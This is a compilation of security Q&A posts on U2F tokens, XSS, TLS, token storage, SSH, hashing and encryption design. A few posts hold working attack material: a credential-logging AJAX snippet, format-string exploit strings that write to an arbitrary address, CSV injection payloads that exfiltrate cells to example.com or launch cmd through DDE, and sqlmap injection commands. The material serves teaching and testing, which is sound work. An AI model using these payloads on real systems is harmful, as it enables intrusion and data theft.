Even if you entered it inside a malicious computer, your key could not be compromised. It uses the same security as a credit card; meaning a smart card. This smart card contains a private key that is not disclosed unless you physically open the smart card. This is the reason why credit cards with a smart card are so much better than credit cards with a magnetic stripe. The stripe can be copied just by scanning it while it's impossible to copy the smart card just by using it.

How it works?

It's basically a challenge-response mechanism. The smart card has a private key and it's the only entity that know this private key. When you authenticate, you receive a challenge; usually a random number or something like that. Then, when you press the gold symbol on your usb, the challenge is sent to the smart card that encrypt it using it's private key and then return the encrypted challenge. This encrypted challenge is then send back to the server which contain all the public keys matching the private keys that are stored on the usb. The server then decrypt the encrypted challenge with the right public key and verify that it matches the challenge.

About phishing

Phishing protection in U2F is top-notch it seems. See this excellent answer :

How secure are the FIDO U2F tokens

Still, beware of compromised computers

Even if your usb key cannot be compromised, you, as a user, are still vulnerable if you use a compromised computer. On a compromised computer, you cannot trust anything that you see. Even if everything looks good, url in browser, certificate, etc. You just cannot trust anything. I could present you a login page but I would in fact be using that login information to change your password for that site.

Conclusion

Your usb key is safe. You it's another story. At some point, you are the only one that can save you from using it on a machine infected with virus.


Why aren't we all compromised on the internet? Well, I've been thinking about this for a while now.

Within the last decade, we've used various ways to make our websites look dynamic and live. For example, in JavaScript, it's quite easy to send data to a remote server using AJAX, even easier with Websockets.

Example for some malicious AJAX:

   xmlHttp = new XMLHttpRequest();
   function process() {
     var secret = getCredentials();
     if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
        xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
        xmlHttp.send(null);
     }
     else
        setTimeout("process()", 1000);
    }

Also, all of you will most likely agree with me that handling user input is a very common task that can be accomplished by using just a few lines of JavaScript.

So, then, why is that we don't see any amateurs try to perform XSS attacks that try to send our keyboard input to a webserver in the background in order to retrieve our login data?

Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit, forcing us to change our login credentials in extremely short time spans?

Are all of our websites just so well-secured?

TL;DR: Why don't we need to change passwords every few days because of seemingly trivial XSS attacks?

Edit:

As for AJAX, it seems that HTTP handles this issue just fine:

    XMLHttpRequest cannot load http://example.com/logger.php?password.
    No 'Access-Control-Allow-Origin' header is present on the requested
    resource.

So at least for HTTP requests, this doesn't seem to be a problem. But as far as I know, websockets don't care about the source that they're reached from, or do they?

The number one reason why we are not all compromised is that there are just not enough attackers to do the job, and most of you are not interesting enough targets either. Civilization as a whole can keep on running because most people are basically honest; you can walk in the street among complete strangers and none of them will try to punch you or stab you, despite the low numbers of police forces. This also works on the Internet.

Now that reason is also the one which explains while security holes induced by sloppy development appear to be allowed to linger for years. XSS ultimately comes from Web site developers who fail to handle input data from clients as data; they reflect such data by dumping it unmodified in pages returned to other clients, a fateful gesture by which they turn that data into code. This is a design bug, and since it has security consequences, that bug is a vulnerability.

Things are getting better gradually, though: now, many Web developers are at least aware that putting together a secure login page is not as easy as it seems. Among the operational rules that Web developers begin to follow more or less consciously is the idea that a "login page" is something special that should be separated from "normal pages" and that should, in particular, NOT contain any user-reflected data. A lot of programmers don't put it that way, either in written words or in the privacy of their mind, but they still follow such "hygienic" behaviours, which, like their biological counterparts, are effective even when you don't understand them.


Are There Reasons to Sign Files Transported via TLS? Is there any reason to digitally sign transferred files in the following scenario? I.e. an additional signature for the transferred file that is  independent of the transport. E.g. an RSA or ECDSA signature of the file itself.

An end device downloads the file via https from a backend system. The end device possesses a certificate to authenticate itself to the server who uses a PKI based certificate to authenticate itself to the client. The client only accepts certificates based from a specific certificate chain.

The files would be signed by the same backend system that the end device downloads the file from via TLS.

It seems that I get authenticity and integrity already from TLS. I don't care about non-repudiation. Is there any good reason for the additional signature on the single files?

TLS ensures integrity of data while in transport. If the file was "generated" by the server without the need for any external input data (e.g., Adobe PDF files can be "generated" on the fly, by combining document templates with other data / metadata), and the server is your "final authority" on the matter, and you've deployed defenses against SSL/TLS MITMs, then you probably don't need any further digital signatures.

If you consider other scenarios such as these below, you would need proper digital signatures signed at each point in the document (or file)'s lifecycle where you need to ensure integrity:

The origin of the file is not the server itself but another user - who stored / uploaded it into the server? In this case, would you like to be sure that the file is "as it was originally sent by the first user?" or even "as it was originally created by its author?".
The file was generated from external input. e.g., a document from a document store where it was stored after due process (e.g., a registered document) with or without additional annotations. In this case, even though the file was generated by the server, the original data may need integrity guarantees embedded in the document. It is possible to do this by signing just the underlying data - not necessarily the file itself.
If it is a device to device communication and there are no other external factors - even then, typically you will have components that originate the data -> some 3rd party components -> transport (usually a 3rd party component) -> recipient with similar stack in reverse. Now your originating and receiving components may or may not want to trust what happens in between (including the possibility of SSL/TLS MITMs) - and hence want "end to end" integrity guarantees; not just transport integrity.

Conclusion: Do you trust every single component between your originating component and your receiving component? If you do, then you're fine. If not, you want to sign the data/file when it's leaving your control and make sure you got it without changes when it reaches your control at the destination.

PS:
Points 1 & 2 came up when we were designing the MCA21 system for company registration & annual returns filing (www.mca.gov.in).
Point 3 came up in a startup where we were designing a large network of firewalls coordinating their defense.


How secure is the private storage of a mobile app Are there any know security flaws/hacks to gain access to the private storage(file system or SQLite database) of Android and iOS applications?

What measures do Google and Apple take to "prevent" these kinds of attacks, or is it up to the developer of the application to take care of that?

Update Are these file systems/databases encrypted?

The file system on an Android device is not encrypted. iOS does this by default. However note that once you are at runtime this is not really relevant anymore. They only protect against attackers who have gained access to the phone and have removed the storage for analysis.

On Android, applications are sandboxed and as long as you are not running a rooted device one application cannot access the other application.

Generally if you want to encrypt your database it should be done from the application itself. Furthermore your encryption key should be derived from a password the user needs to supply every single time. Caching the password should be done carefully as you could dump it at runtime. The password or key should not be stored on the device.

Note that there is no foolproof way to protect your data once an attacker has gained access to the phone. You can only make it a bit harder, but not impossible.


How do I investigate a suspicious link? I made a RuneScape account about a week ago. I stupidly responded to a scam by clicking on a link provided to me in the game. I think I may have a keylogger, which would explain why my new account was drained of all its items in the past 24 hours.

I hope someone has the expertise and resources to tell me how I can safely analyze this URL and determine if it's malicious or not.

Defining what you mean by "malicious", what you mean by "investigate", and who is doing the investigating are all important.

If you need to determine if the site is hosting malicious code, then you need to run a malware scan on the URL. There are many online sites that can do this for you (as well as the AV on your machine). VirusTotal is a big one and probably the most famous. It will give you an opinion that the average user can understand.

There are also sandboxes that you can set up that inspect what the code on the linked site does so that you can do an in-depth analysis on the site yourself. This is not for the average user.

Phishing defense sites, like PhishTank, will help you look up to see if the site has phishing markers or if the link has been reported as a phishing site by the community.

There are also various reputation ranking sites and URL blacklist sites that allow you to look up how "dodgy" a site is based on its past behaviour.

For shortened URLs, you can use a URL de-shortener to find out where the link actually goes to then feed into the above.


Secure authentication on SPA/Javascript application with “remember me” support I have 3 website projects as follows;

identity.example.com (asp.netcore + IdentityServer4)
api.example.com (asp.netcore webapi)
www.example.com (asp.netcore + aurelia)

I am able to authenticate the user using SPA user-agent using implicit grant type and I store the access_token on localStorage. Since localStorage is not safe, long lived access_token or use of refresh_token is not safe, so my users will have to login every X minutes which is not acceptable as you would agree.

My goal is to let users have "remember me" option and still keep things as secure as acceptable (I know there is no 100% security in this regard)

I think I have the following options;

1. Full Proxy Between SPA and API/IdentityServer, everything stored as http_only cookie

spa posts credentials to its own backend (www.example.com/login)
the spa's backend gets access_token and refresh_token from identity.example.com, stores the tokens in http_only cookie or in the session.
the spa's backend acts as a proxy between the api and the spa andthe spa makes any api calls to it's own backend, not to the api
the spa's backend routes all the api requests to api.example.com using the access_token stored in the cookie/session and returns the result to the user_agent.

Now this approach looks secure but it adds a proxy level which would have negative effect on performance, request response times etc. Plus, I would need to write a wrapper/proxy for every single api method in the spa's backend (the proxy) that would make calls to the actual api methods which is not that cool.

I thought of the following flow to make it secure and not painful for the user at the same time;

2. Semi Proxy Between SPA and Identity Server (for refreshing tokens only)

Summary: SPA has access to access_token, However, to refresh the token, spa should interact with its backend which holds the refresh_token in session/cookie securely.

spa posts credentials to its own backend (www.example.com/login)
spa gets an authorization_code from the identity server (client_secret is not neccessary for this) and posts this to its own backend
the spa's backend gets access_token and refresh_token from identity.example.com using the authorization_code, stores the tokens in http_only cookie or in the session and also includes the access_token in the response body
the spa stores the access_token in its localStorage, and uses this for calls directly to the api (api.example.com, no proxy)
when the access_token expires, the user-agent (spa) asks it's own backend to refresh the access_token on behalf of itself
the spa's backend retrieves the new access_token and refresh_token from the identity server. Updates the tokens in the session/cookie and returns the access_token to the user_agent (spa)
the user_agent (spa) updates the access_token in its localStorage and uses this for future calls to the api.

Now, the questions...
Is the last flow I have described secure and acceptable by the standards? Do you know an example implementation of it? Or do you have other suggestions that I should follow? Maybe security flaws I should consider?

Just wondering whether all the projects need to be separate since running on the same hosting. If you remove the Identity Server and combine the API and Aurelia into one project with a single well known authentication provider you can use Microsoft Identity to authenticate and authorize the SPA using the Home page of the Web Site (with some Scaffolding of Razor pages). Default setting use SQL Server Express and a simple migration generates all the Identity tables. The API is therefore only required when the user is logged on so no need for tokens or the horrific structure needed to maintain a token identity server to produce a complex single sign on as the authentication is maintained by Identity out of the box (Net Core 2.1)


Does the SSL termination happen with the ISP or a mobile service provider? Is it true that when I connect to a site over HTTPS , my mobile service provider or the ISP gets to snoop in the communication? Can they play MITM?

Not, it is not true...

.. Unless the ISP is good at spying on people, and you are gullible. In that case, things are possible.

Explanations: to "snoop" on your communications, the ISP must either break the SSL crypto (fat luck on that) or impersonate the server to power a Man-in-the-Middle attack. From the client's point of view (your Web browser), the server's public key is obtained through the server's certificate. The certificate is validated relatively to the root CA which are embedded in your computer. The ISP will not be able to obtain a fake certificate mimicking that of the server you are trying to talk to.

Spying on you thus requires at least one of the following:

The ISP is in league with a big commercial CA, and can obtain fake certificates. This is highly improbable because such certificates would be so many proofs that the CA is dishonest, thus making the game highly risky, for the paltry gain of simply spying on your data.
You get a big red flashy warning from your browser about the server certificate being invalid in some way, and you click on "I know what I am doing" (which, in this case, would be a quite bad idea).
The ISP could convince you to install some software of theirs on your computer. E.g. a "connection kit". That software, if malicious, could install an extra root CA certificate under control of the ISP, thus allowing the ISP to generate fake server certificates and thus succeed at MitM. (Similarly, the same software could plant some spying tool such as a key logger.)

I am not aware of any actual case of an ISP spying that way on its customers, in supposedly democratic countries (I have heard stories about institutional MitM with rogue root CA in some countries like Iran, though -- but I don't have any confirmation about it).

Without an actual SSL break or rogue CA, the ISP can still see what servers you are trying to talk to, and may try to infer some clues about the contents of the exchanged data based on its size (encryption hides the values of byte, but leaks the message sizes). For an organization who wants to keep track of a lot of people, such metadata already constitutes a lot and is what they will concentrate first, to identify interesting targets.


validate file encryption without decryption key I may be asking for something impossible here.

I want to know if it is possible to set up a 3rd party storage system where the service provider cannot decrypt the clients files, but can de-dupe the files if two clients upload the same file.

I think I'm right in assuming that this would require that the two clients uploading the file would have to encrypt with the same key, but this is not a problem in itself as the service could (for example) mandate that files be encrypted with a key that is a function of a hash of the file: both clients share that knowledge (without being aware of each other) but the service provider doesn't so still would not be able to encrypt.

That's all fine if the clients follow the rules and use the mandated encryption method and key corresponding to the file being uploaded. What I'm wondering is whether it is theoretically possible to choose an encryption technique whereby the service provider can verify that the client has obeyed the rules, without compromising the requirement that the service provider must not be able to decrypt the files.

To a large extent, the question makes no real sense, because the data is opaque for the server. Since the server will not, in any case, be able to read the decrypted files, whether two files are identical or not should not have any impact. In fact the complete scenario must be made clearer.

You have a server. The server stores "encrypted data" on behalf of some users who will send to each other the decryption keys; all decryption and encryption occurs elsewhere, and your server cannot do it. We have to assume that there is an out-of-band mechanism by which users exchange decryption keys.

What you want, as the server's owner, is to recognize when several instances of the same file are uploaded to your server, so that you may pay for the storage space only once (I just read somewhere that "The Hobbit" was the most copied movie of 2013, so you might assume that your envisioned platform would contain several hundreds of copies of that multi-gigabyte movie file). Normal, secure encryption should prevent outsiders from being able to make any assertion about the data contents, including being able to recognize whether two encrypted files have the same contents. In that sense, the de-duplication you are looking for is a weakening of the security model. We can predict that some users would not like it; for instance, if de-duplication works, then you (as the server) can detect when a user is uploading "The Hobbit".

(When de-duplication works, then it becomes possible to do some exhaustive search on file contents; this is easy to do for files which are duplicated a lot, because a file which is known to many users cannot be really that secret; and in the context of "intellectual property enforcement", heavily-duped files are of prime interest.)

If we speak in generic terms, then you cannot enforce de-duplication, because any two users who want to evade it can simply double-encrypt their data. User 1 first encrypts the file with an extra secret key, that he will share with User 2; that key is chosen randomly, so the encrypted file won't match any other instance of the same data; that encrypted file is then encrypted again with your service. Users can do such double encryption because the data is just, in fine, a file on their disk, and we assumed above that users can talk to each other independently of your server. As long as users can talk to each other, then they can exchange secret keys that you don't know of.

In some very specific contexts, it is possible to prove that some encrypted data fulfills some algebraic property without revealing it. See non-interactive Zero-Knowledge proofs. This is used in some electronic voting protocols, so that the prover may demonstrate that what he encrypted is really either a 0 or a 1, not any other integer, but without divulging the actual vote value. This won't apply to a generic file storage system, because "normal files" don't follow a discernable mathematical structure.

Therefore, if you want to enforce de-duplication against uncooperative users, then you must make it so that users cannot talk to each other. That's easier said that done... and it looks hardly feasible, since for the site to be really useful, the sender and recipient must be able to agree on at least a reference key, used to locate the file on the server.


What is the point of using stronger hashes? If hashes cannot be decrypted, then what is the point of using stronger hashes? Since are only uncrackable via brute force through hashing the text and comparing the hashed password, won't it be cracked in the same amount of time, no matter what hash you're using?

Cryptographic hashes do not exist in an independent world. They have actual use cases and for most of these use cases it is not important that a hash cannot be decrypted. But it is important that one cannot construct two inputs with the same hash (collision) or a different input for an existing hash (preimage attack). A very important use case is for example the use of cryptographic signatures as proof of a (trusted) origin when digitally signing documents, certificates, programs ... .

For example a preimage attack would allow to create a faked document, certificate or program which is different to the original one but as much trusted as the original one since the signature still matches. In these cases stronger hashes provide better protection against collision and preimage attacks.


How to include multiple parameters in sqlmap POST request I'm using the following command to inject the Username parameter:

sqlmap -r Path_Of_Myfile -p UserName

It's running well. But there's also a second parameter of Password. How can I also attempt to inject the Password parameters in sqlmap?

You can just comma-separate the parameters you want to test.

In a GET request:

$ sqlmap -u "http://example.com/?a=1&b=2&c=3" -p "a,b"

In a POST request:

$ sqlmap -u "http://example.com/" --data "a=1&b=2&c=3" -p "a,b" --method POST
...
[13:37:54] [WARNING] heuristic (basic) test shows that POST parameter 'a' might not be injectable
...
[13:37:59] [WARNING] heuristic (basic) test shows that POST parameter 'b' might not be injectable
...

Both examples would test the specified parameters a and b, but ignore c. (I also put them into double quotes which isn't actually necessary on Linux.)


BlockChain private key leakage I am trying to learn blockchain by learning and analysing source code of bitcoin from here. https://github.com/bitcoin/bitcoin . I can see that encryption is relying on Operating system internal encryption libraries. But it is possible to extract encryption keys from memory.

https://www.scribd.com/doc/130070110/Extracting-Encryption-keys-from-RAM

So can it be safeguarded ?

It's definitely possible to extract keys from memory.  Because of how modern systems work, bitcoind's address space (where its keys are stored) is accessible by other processes running as the same user and also by those with higher privilege levels.

The most universal safeguard against these sorts of attacks is to simply "erase" the key by writing over it with random bytes.  There's still a window in which this key can be read, but if an attacker is able to read your key from memory there are countless other ways they can get at it.

Depending on what processor you're running, you might also be able to take advantage of hardware features to hide your keys.  Many ARM processors specifically have a special execution space called TrustZone that can be used to separate your keys from the main address space.  Here's a paper describing such a system applied to bitcoin wallets.

This isn't in your question, but you might be interested to know that you don't necessarily need to store your primary wallet on your computer to begin with; you can easily encrypt and print out your private key, remove all evidence of it from your computer, and still receive/hold funds.  Food for thought!


Should I create a JWT on one server, and verify it on a different server? So lets say I have 2 microservices:

1). A serverless / lambda function, triggered by some hardware event

2). A websocket server, to handle some data

I want to ensure that only authenticated connections can connect to the websocket server. But the lambda function has no identifying data to authenticate itself with.

I'm considering creating a JWT on the lambda function, with a secret key, (and short expiration), and use that to auth with the websocket server.

The websocket server will also know this secret key, and can verify the token before it allows the connection.

So my question: Should I be doing this for identity free server to server auth? Providing I am keeping my secret safe.

What you want to achieve is authenticated machine-to-machine communication between the Lambda function and the websocket server.

There are different mechanisms to achieve that. Using a JWT token is one possibility, but there are even easier approaches, if you want to keep it as simple as possible.

Based on your question, you want your authentication based on a pre-shared secret scheme. The simplest solution would be using basic auth (or something equivalent, if you are not using HTTPS as your transport protocol). Whatever protocol you are using, make sure it is encrypted, otherwise your secret may leak.

The websocket server will first evaluate the basic auth credentials and decide, if the sender is valid and the request gets processed further. The credentials can be as simple as a sufficient long random string (e.g. 128 bit).

If there's no additional value for you using JWTs (e.g. you want to limit the lifetime of the token or transport additional information in the body of the token), I would recommend to keep it as simple as possible, as complexity may introduce hidden risks and vulnerabilities.


AES Encryption is this overcomplicated encryption? I'm working with a vendor's API and it recommends the following steps for transmitting an encrypted value:

  1) Convert the encryption password to a byte array.
    2) Convert the value to be encrypted to a byte array.
    3) The entire length of the array is inserted as the first four bytes onto the front of the first block of the resultant byte array before encryption.
    4) Encrypt value with AES

Just curious, do steps 1-3 make the encrypted values significantly more secure than if they just started with step 4? Is this a recommended practice?

It is making implementation more complicated.

First two steps are normal since AES libraries accept bytes. 3th one for prevention of the length extension attacks. Assume that we are adding the length at the end and we have 2 ciphertext blocks; {B1,B2}. If someone noticed another ciphertext with 3 blocks {D1,D2,D3} then {B1,D2,D3} will be valid block. Of course, one can do the same trick if the length at the beginning or even both.

Actually, the real problems are;

Which encryption mode are you using?

You should not use ECB mode which is not secure. Use CBC mode that requires IV or CTR mode.

Is there any authentication?

The problems in the first paragraph are due to there is no authentication mentioned. AES-GCM, which is a standard in TLS 1.3 , provides Authenticated Encryption. That prevents the modification by the attacker since you can check the authentication tag of the data.

Note: Nothing mentioned about the padding scheme. Assumed that there is one around as PKCS#5 padding.


Vulnerability by leaving an open port in a pc I have the following set-up.

Home pc ---reverse ssh tunnel---> to linux server

The reverse ssh tunnel is set-up so that on my home pc, port 22 is open, but I have nothing currently listening on that port.

My intent was to leave a VNC server running on that port (on my home pc), and have my linux server act as a middle man, so I can VNC into my home pc when I travel. However, I have forgot to start the vnc server.

So I have two questions

1- Is there anything I can do from my end remotely, knowing that port 22 is open on my home pc through the SSH tunnel.

2- Let's assume for a second that port 22 was open to the whole world not just through the SSH tunnel, does this create any vulnerability, knowing that there are no services listening to port 22 on my home pc.

If I understand correctly, you did something like this from your home PC:

homepc$  ssh -R2222:localhost:22 remote-linux-server.example.com

So if you connect to port 2222 on that remote linux server it gets forwarded to port 22 on your home computer. You'd normally start VNC on port 22 to let you get a VNC session, but you forgot to start VNC this time.

If that's the case, and there's no SSH daemon or VNC session listening on port 22, there's nothing you can do to connect to your home PC.

Leaving port 22 open to the world without any service listening on that port should not be a security risk (other than announcing the existence of a computer at that IP address), but could possibly be used to execute a DoS attack since it takes some work to respond to a request on a closed port even though no service is listening.

Though I question why you run your VNC server on port 22? Why not run it on some other port, and leave 22 for SSH, then you can forward both port 22 and your VNC port back to your home computer, giving you a way to log in even if VNC isn't running?


Full protection from shell-script injections (like a "Bash injection") - Is it even possible? Assume there's a website built with some FOSS CMS (like Drupal) and the websites' directory is owned and grouped by root (instead www-data as common in Apache in Nginx) and a friend of the site's owner mistakenly sees that and tells the owner:

  Beware that if an hacker finds a way to inject shell code
  through inodes in that sites directory it could destroy your server and this code will run without problem because the inodes are are owned and grouped by root.

I wonder if such "shell scripting injection" attack even possible.

Let's even assume the owner now creates a usual user like (say, by the name of "Boobinio") and runs:

chown boobinio /var/www/html/mysite -R && chgrp boobinio /var/www/html/mysite

I still can't see how it fully protects the owner because if the hacker knows this user "boobinio" (and I guess there are several ways to discover it) then it could try to inject shell code when it's plausible that the owner is in active sudo, and then, where's the total difference between this case, to a case of shell injection when the owner is in active root?

My question:

If I'm accurate in what I just described, what can anyone do to ensure not to have shell injections on the CMS when either working as active sudo or active root?

AFAIK, it does not matter what the owner of group of files is (unless they are setuid). What matters is that this is a hint that the application could be run as root which is a security threat.

The rules are:

the web application should be runned as a non priviledged user - in particular, that user should never be allowed to sudo!
it should only have write access to the files this must be written or changed by the application
all other files (static) should only be readable and should belong to another (admin) user


Apache Mod_Proxy Remote Negative Content-Length Buffer Overflow Vulnerability We have a Windows Server 2012 R2 running Apache 2.2.27 and Apache tomcat8 version 1.0.15.0.

Can you guys shed a few words on what the vulnerability is and also how to re-mediate this with the two versions that we are running in our environment.

My guess is that you referring to CVE-2004-0492 "mod_proxy in Apache 1.3.25 to 1.3.31 ... possibly execute arbitrary code via a negative Content-Length HTTP header field..." . As you can see, this bug did affect apache version 1.3.25 ... 1.3.31 but not your version 2.2.27.


SSH key based login is not vulenerable to MiTM attack. Is it true? I read somewhere that when using key based login instead of a password based login, it is not possible for a Man-in-the-Middle attack to happen.

This question is not about what is being more secure: key based login or password based login.
Instead I am interested in knowing:

the steps taking place during a key based login,
why it is not susceptible to MiTM attacks.

First, a man in the middle attack can neither happen with key based nor with password based authentication if the client properly authenticates the server.

A man in the middle attack is possible if a password is used only if the client ignores the warning that the server fingerprint has changed. In this case the client would unknowingly create a connection to the attacker, which as the endpoint of the connection can read the plain password as entered by the user and then can forward the data to the original server.

If instead a key pair is used for authentication then the client does not provide the private key but only provides the proof that it owns the private key to the public key known by the server by signing some message. The message to be signed contains the session identifier of the connection which itself is a result of the key exchange and thus different for the connection between client and attacker and attacker and server. This means that the ownership proof given by the client to the attacker cannot be reused by the attacker as an ownership proof to the server and thus authentication against the server will fail.

Note that this is very similar to client certificate based authentication in TLS. Therefore see also Does mutual authentication have any impact on MiTM possibilities?.


Why does printf() vulnerability require 4-bytes of junk data? - “Hacking: The Art of Exploitation” I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me.

In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doing that will start printf reading from the top of the stack frame. He then uses this vulnerability to write to the arbitrary address 0x08049794.

Below code (fmt_vuln.c) is the target program.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

Using this vulnerability, I'm trying to write a value "0xDDCCBBAA" to the address of test_val. The program's output shows that test_val is found at 0x08049794.

The exploit looks like this:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

This writes the hex value 0xAA to the address 0x08049794.

4 writes to sequential addresses, starting at 0x08049794, and adding 1 byte each time should achieve this. The first time we write 0xAA, then the second time we write 0xBB to 0x08049795, the third time we write 0xCC to 0x08049796, and the last time we write 0xDD to 0x08049797.

The book uses the exploit like this:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

My Question is:

Why do I need the 4-bytes of junk data between the addresses? The author uses the word "JUNK" because it's an arbitrary 4-byte string, but it could be anything 4-bytes long. But he never explains why that 4-bytes of JUNK data is required. It only says "Another arguments is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal".

I guess it depends and varies on the compiler and the system you are running on.

For example what worked for me on the test code you supplied is: (on a ubuntu 32 bit machine)

  \x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%154x%4$n%17x%5$n%17x%6$n%17x%7$n

the first 16 bytes are the addresses I want to inject to: 0x0804a030, 0x0804a031, 0x0804a032, 0x0804a033 - since the address of test_val in my case is 0x0804a030.

Then the %154x tells printf to pad the output with 154 chars. Since 16 chars were printed so far 154 + 16 = 170 = 0xAA

Then %4$n tells printf to write the value into the address in the 4th paramter passed to printf. This value is found by trial and error in order to located in which offset in the stack your input is found and make printf use it as the target address. You can inject AAAA%p%p%p...%p in order to find where the 41414141 value is located and then you know your offset. in my case it was 4.

The rest just adds 17 = 0x11 chars in order to increment the injected value to the wanted value and make printf write it to the next pointer, in my case 5, 6 and 7

I guess the reason the author needed 4 extra bytes in his case was the way the compiler handled the parameters on the stack in his case. Maybe they were supposed to be separated by 4 bytes and hence he could not inject the addresses without padding them with 4 bytes in between.

Had i injected the string with the JUNK 4 bytes I had to later my input to:

  \x30\xa0\x04\x08JUNK\x31\xa0\x04\x08JUNK\x32\xa0\x04\x08JUNK\x33\xa0\x04\x08%142x%4$n%17x%6$n%17x%8$n%17x%10$n

changing the target pointers to 4, 6, 8, 10 since in 5, 7 and 9 the JUNK bytes were found.

Here is a linkt o an excellent blog post on the matter: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html


Does "=cmd" CSV injection still exist in 2020? I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as:

=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))

I am now trying to create a "more dangerous" payload and I see a lot of reference online using something such as:

=cmd|' /C calc'!A0

However, I can't find a way to have such a payload trigger, I always get a #REF! error. Is this kind of attack still feasible in 2020 ? Or did Microsoft implement a mitigation for those attacks?

I'm running Excel for Office 365 version 1902.

Finally found the reason why the payload were not executing: DDE launch was disabled in Excel options.

If someone has the same issue, this setting can be found in

File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

Reference https://docs.microsoft.com/en-us/office365/troubleshoot/security/security-settings


Data leakage in internet-only services Nowadays, internet-only services became very popular, for example, direct bank and many others. The advantage of such services is you don't have to spend the time to get to the office in order to get a service, everything can be done online. However, the disadvantage is you somehow should confirm your identity, usually, it implies sending a scan (a photo) of your official ID and etc. For example, to confirm your identity on facebook you have to share the official ID with photo, the same with branchless banking.

The question is how I can be sure that my official ID will not be used by someone in the company. A good solution could be to alter the scan (place a watermark and etc), but such services require unchanged scans and photos. What could be a good solution in this case?

The question is how I can be sure that my official ID will not be used by someone in the company.

You can't, there is no way to guarantee it will not be used. I know of systems that will send your data to a third party to determine if the passport and selfie photo are a match or not (bank account creation process).

However, back in the day when these services did not yet exist, a photo copy was made of your ID, hoping they'd store it in a proper way. So in a way the current services should be considered less prone to human errors.

Also, before these internet services, what kind of guarantee did you have an employee would not use your photo copied identity?

When comparing back then with the current way of working, the risk level can be considered less. This assumes the current API's and/or web services are considered sufficiently secure.

  What could be a good solution in this case?

I do the same thing when I have to send a photo copy of my ID. I edit the scan and add a date and the company name I am sending it to (this way I know who leaked it when I find a copy of it myself)

One idea I have (which is not fail safe) is add metadata to the files that are sent to these services.

  ... but such services require unchanged scans and photos.

Do they really? From a technical perspective this is not really required. There is a difference between what they (as the company) want and what they (the company) need.

It could also depend on the country's laws about storing PII data.


Can I use a KEK to protect data as well? My customer wants my organisation to evolve their system such that keys currently used to protect the confidentiality of other keys during transport are also used to protect data confidentiality in the same message. I suspect this might be a bad idea, but is that generally true in all cases, and if so why?

Further details

The KEKs are protecting keys being sent to the recipient in the present message. It is a layered key model; it doesn't matter what the transmitted keys are used for. The same message is sent to multiple recipients, but only a subset are permitted to access the keys it contains. My organisation is requested to use the same KEK to protect certain data in the message as well. As for the keys, only a subset of recipients are permitted to access that data. The point of the question is whether the protection of the data should be a separate concern from the protection of the keys.

More formally (as requested):

A posts message M to a public place where it can be retrieved by recipients B, C and D.
Message M contains sub-messages Mb, Mc and Md intended only for the corresponding recipient, B, C or D respectively.
Key Encryption Keys Kb, Kc and Kd have previously been issued to B, C and D via an offline medium.
Each sub-message Mn contains an encrypted key intended for recipient N, K'n, protected by the KEK previously issued: E(K'n, Kn).
Each sub-message Mn also contains plain text data, Di, intended for recipient I but currently readable to the other recipients. Under this evolution, this will be replaced with E(Dn, Kn).

So:
A --> B, C, D: M

where (today):

M = E(K'b,Kb) + E(K'c,Kc) + E(K'd,Kd) + Db + Dc + Dd

and after the evolution:

M = E(K'b,Kb) + E(K'c,Kc) + E(K'd,Kd) + E(Db, Kb) + E(Dc, Kc) + E(Dd, Kd)

It seems OK.

Key Encrypting Key (KEK) is quite a confusing name. It puts emphasis on the fact that a particular key is used to encrypt another key (which in turn encrypts data), as if this bare fact somehow increased the security. It doesn't. The additional security comes from something else, and (by me) the name of this scheme should really be Separately Encrypted Key to reflect what really is important here.

The added security comes from the fact that software modules or people or devices that can see keys or data (either encrypted or plain) can be divided. You separate some inner environment and leave the rest in the outside security perimeter. The outside:

doesn't know the most important secret (aka the KEK)
but is more accessible to outsiders, as it provides many functions and needs to accept various data inputs

The inside has to be separate from this; it needs to have exactly opposite characteristics. The inside is typically just the key encryptor (a software module), key decryptor (ditto), the storage which holds the KEK (a software module or hardware device) and people who can access these.

In your situation, I understand customer requests to add some NewData (to be KEK-encrypted). I think it is safe if and only if is not exposing the Inside to any additional risks that is:

obtaining the NewData does not involve any additional risk; that is NewData does not come from the outside app perimeter, so it is injection/overflow free
delivering the NewData to destination does not involve any additional risk; doesn't require to contact any parts from the outside perimeter
(obviously) encryption and decryption of NewData is done by the same components that already know KEK - the KEK is not put at any additional risk by leaking it to some other components,
(obviously) you use a normal cipher, like AES, which is immune to known-plaintext attacks. The keys that you used to encrypt were pseudo-random, but NewData could be known to attacker,
(obviously) the NewData does not require any additional people to have access to the Inside.

If all these don't hold true you already have some starting points to analyze and communicate the risks involved.


